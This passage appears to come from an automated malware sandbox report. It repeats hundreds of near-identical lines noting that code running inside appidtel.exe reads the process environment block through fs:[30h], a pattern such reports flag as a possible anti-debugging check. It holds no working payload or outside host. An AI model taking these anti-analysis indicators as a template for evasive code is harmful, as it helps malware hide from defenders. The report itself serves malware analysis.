Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039892BC mov eax, dword ptr fs:[00000030h]	10_2_039892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039892BC mov eax, dword ptr fs:[00000030h]	10_2_039892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039892BC mov ecx, dword ptr fs:[00000030h]	10_2_039892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039892BC mov ecx, dword ptr fs:[00000030h]	10_2_039892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039152A0 mov eax, dword ptr fs:[00000030h]	10_2_039152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039152A0 mov eax, dword ptr fs:[00000030h]	10_2_039152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039152A0 mov eax, dword ptr fs:[00000030h]	10_2_039152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039152A0 mov eax, dword ptr fs:[00000030h]	10_2_039152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039972A0 mov eax, dword ptr fs:[00000030h]	10_2_039972A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039972A0 mov eax, dword ptr fs:[00000030h]	10_2_039972A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039962A0 mov eax, dword ptr fs:[00000030h]	10_2_039962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039962A0 mov ecx, dword ptr fs:[00000030h]	10_2_039962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039962A0 mov eax, dword ptr fs:[00000030h]	10_2_039962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039962A0 mov eax, dword ptr fs:[00000030h]	10_2_039962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039962A0 mov eax, dword ptr fs:[00000030h]	10_2_039962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039962A0 mov eax, dword ptr fs:[00000030h]	10_2_039962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C92A6 mov eax, dword ptr fs:[00000030h]	10_2_039C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C92A6 mov eax, dword ptr fs:[00000030h]	10_2_039C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C92A6 mov eax, dword ptr fs:[00000030h]	10_2_039C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C92A6 mov eax, dword ptr fs:[00000030h]	10_2_039C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392F2D0 mov eax, dword ptr fs:[00000030h]	10_2_0392F2D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392F2D0 mov eax, dword ptr fs:[00000030h]	10_2_0392F2D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0390A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0390A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0390A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0390A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0390A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039092C5 mov eax, dword ptr fs:[00000030h]	10_2_039092C5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039092C5 mov eax, dword ptr fs:[00000030h]	10_2_039092C5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB2D3 mov eax, dword ptr fs:[00000030h]	10_2_038FB2D3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB2D3 mov eax, dword ptr fs:[00000030h]	10_2_038FB2D3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB2D3 mov eax, dword ptr fs:[00000030h]	10_2_038FB2D3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF2F8 mov eax, dword ptr fs:[00000030h]	10_2_039BF2F8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039102E1 mov eax, dword ptr fs:[00000030h]	10_2_039102E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039102E1 mov eax, dword ptr fs:[00000030h]	10_2_039102E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039102E1 mov eax, dword ptr fs:[00000030h]	10_2_039102E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F92FF mov eax, dword ptr fs:[00000030h]	10_2_038F92FF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED mov eax, dword ptr fs:[00000030h]	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D52E2 mov eax, dword ptr fs:[00000030h]	10_2_039D52E2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03937208 mov eax, dword ptr fs:[00000030h]	10_2_03937208
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03937208 mov eax, dword ptr fs:[00000030h]	10_2_03937208
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F823B mov eax, dword ptr fs:[00000030h]	10_2_038F823B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D5227 mov eax, dword ptr fs:[00000030h]	10_2_039D5227
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398D250 mov ecx, dword ptr fs:[00000030h]	10_2_0398D250
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03906259 mov eax, dword ptr fs:[00000030h]	10_2_03906259
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BB256 mov eax, dword ptr fs:[00000030h]	10_2_039BB256
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BB256 mov eax, dword ptr fs:[00000030h]	10_2_039BB256
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9240 mov eax, dword ptr fs:[00000030h]	10_2_038F9240
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9240 mov eax, dword ptr fs:[00000030h]	10_2_038F9240
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03988243 mov eax, dword ptr fs:[00000030h]	10_2_03988243
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03988243 mov ecx, dword ptr fs:[00000030h]	10_2_03988243
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393724D mov eax, dword ptr fs:[00000030h]	10_2_0393724D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FA250 mov eax, dword ptr fs:[00000030h]	10_2_038FA250
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F826B mov eax, dword ptr fs:[00000030h]	10_2_038F826B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03941270 mov eax, dword ptr fs:[00000030h]	10_2_03941270
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03941270 mov eax, dword ptr fs:[00000030h]	10_2_03941270
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03929274 mov eax, dword ptr fs:[00000030h]	10_2_03929274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274 mov eax, dword ptr fs:[00000030h]	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03904260 mov eax, dword ptr fs:[00000030h]	10_2_03904260
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03904260 mov eax, dword ptr fs:[00000030h]	10_2_03904260
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03904260 mov eax, dword ptr fs:[00000030h]	10_2_03904260
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CD26B mov eax, dword ptr fs:[00000030h]	10_2_039CD26B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CD26B mov eax, dword ptr fs:[00000030h]	10_2_039CD26B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03957190 mov eax, dword ptr fs:[00000030h]	10_2_03957190
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398019F mov eax, dword ptr fs:[00000030h]	10_2_0398019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398019F mov eax, dword ptr fs:[00000030h]	10_2_0398019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398019F mov eax, dword ptr fs:[00000030h]	10_2_0398019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398019F mov eax, dword ptr fs:[00000030h]	10_2_0398019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03940185 mov eax, dword ptr fs:[00000030h]	10_2_03940185
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BC188 mov eax, dword ptr fs:[00000030h]	10_2_039BC188
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BC188 mov eax, dword ptr fs:[00000030h]	10_2_039BC188
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FA197 mov eax, dword ptr fs:[00000030h]	10_2_038FA197
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FA197 mov eax, dword ptr fs:[00000030h]	10_2_038FA197
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FA197 mov eax, dword ptr fs:[00000030h]	10_2_038FA197
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391B1B0 mov eax, dword ptr fs:[00000030h]	10_2_0391B1B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B11A4 mov eax, dword ptr fs:[00000030h]	10_2_039B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B11A4 mov eax, dword ptr fs:[00000030h]	10_2_039B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B11A4 mov eax, dword ptr fs:[00000030h]	10_2_039B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B11A4 mov eax, dword ptr fs:[00000030h]	10_2_039B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393D1D0 mov eax, dword ptr fs:[00000030h]	10_2_0393D1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393D1D0 mov ecx, dword ptr fs:[00000030h]	10_2_0393D1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E1D0 mov eax, dword ptr fs:[00000030h]	10_2_0397E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E1D0 mov eax, dword ptr fs:[00000030h]	10_2_0397E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E1D0 mov ecx, dword ptr fs:[00000030h]	10_2_0397E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E1D0 mov eax, dword ptr fs:[00000030h]	10_2_0397E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E1D0 mov eax, dword ptr fs:[00000030h]	10_2_0397E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D51CB mov eax, dword ptr fs:[00000030h]	10_2_039D51CB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C61C3 mov eax, dword ptr fs:[00000030h]	10_2_039C61C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C61C3 mov eax, dword ptr fs:[00000030h]	10_2_039C61C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039A71F9 mov esi, dword ptr fs:[00000030h]	10_2_039A71F9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039301F8 mov eax, dword ptr fs:[00000030h]	10_2_039301F8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D61E5 mov eax, dword ptr fs:[00000030h]	10_2_039D61E5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039251EF mov eax, dword ptr fs:[00000030h]	10_2_039251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039051ED mov eax, dword ptr fs:[00000030h]	10_2_039051ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039AA118 mov ecx, dword ptr fs:[00000030h]	10_2_039AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039AA118 mov eax, dword ptr fs:[00000030h]	10_2_039AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039AA118 mov eax, dword ptr fs:[00000030h]	10_2_039AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039AA118 mov eax, dword ptr fs:[00000030h]	10_2_039AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C0115 mov eax, dword ptr fs:[00000030h]	10_2_039C0115
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03901131 mov eax, dword ptr fs:[00000030h]	10_2_03901131
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03901131 mov eax, dword ptr fs:[00000030h]	10_2_03901131
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03930124 mov eax, dword ptr fs:[00000030h]	10_2_03930124
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB136 mov eax, dword ptr fs:[00000030h]	10_2_038FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB136 mov eax, dword ptr fs:[00000030h]	10_2_038FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB136 mov eax, dword ptr fs:[00000030h]	10_2_038FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB136 mov eax, dword ptr fs:[00000030h]	10_2_038FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03998158 mov eax, dword ptr fs:[00000030h]	10_2_03998158
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03907152 mov eax, dword ptr fs:[00000030h]	10_2_03907152
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03906154 mov eax, dword ptr fs:[00000030h]	10_2_03906154
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03906154 mov eax, dword ptr fs:[00000030h]	10_2_03906154
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9148 mov eax, dword ptr fs:[00000030h]	10_2_038F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9148 mov eax, dword ptr fs:[00000030h]	10_2_038F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9148 mov eax, dword ptr fs:[00000030h]	10_2_038F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9148 mov eax, dword ptr fs:[00000030h]	10_2_038F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D5152 mov eax, dword ptr fs:[00000030h]	10_2_039D5152
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FC156 mov eax, dword ptr fs:[00000030h]	10_2_038FC156
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03994144 mov eax, dword ptr fs:[00000030h]	10_2_03994144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03994144 mov eax, dword ptr fs:[00000030h]	10_2_03994144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03994144 mov ecx, dword ptr fs:[00000030h]	10_2_03994144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03994144 mov eax, dword ptr fs:[00000030h]	10_2_03994144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03994144 mov eax, dword ptr fs:[00000030h]	10_2_03994144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03999179 mov eax, dword ptr fs:[00000030h]	10_2_03999179
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172 mov eax, dword ptr fs:[00000030h]	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FD08D mov eax, dword ptr fs:[00000030h]	10_2_038FD08D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392D090 mov eax, dword ptr fs:[00000030h]	10_2_0392D090
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392D090 mov eax, dword ptr fs:[00000030h]	10_2_0392D090
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03905096 mov eax, dword ptr fs:[00000030h]	10_2_03905096
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393909C mov eax, dword ptr fs:[00000030h]	10_2_0393909C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398D080 mov eax, dword ptr fs:[00000030h]	10_2_0398D080
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398D080 mov eax, dword ptr fs:[00000030h]	10_2_0398D080
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390208A mov eax, dword ptr fs:[00000030h]	10_2_0390208A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C60B8 mov eax, dword ptr fs:[00000030h]	10_2_039C60B8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C60B8 mov ecx, dword ptr fs:[00000030h]	10_2_039C60B8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039980A8 mov eax, dword ptr fs:[00000030h]	10_2_039980A8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D50D9 mov eax, dword ptr fs:[00000030h]	10_2_039D50D9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039820DE mov eax, dword ptr fs:[00000030h]	10_2_039820DE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039290DB mov eax, dword ptr fs:[00000030h]	10_2_039290DB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov ecx, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov ecx, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov ecx, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov ecx, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0 mov eax, dword ptr fs:[00000030h]	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397D0C0 mov eax, dword ptr fs:[00000030h]	10_2_0397D0C0
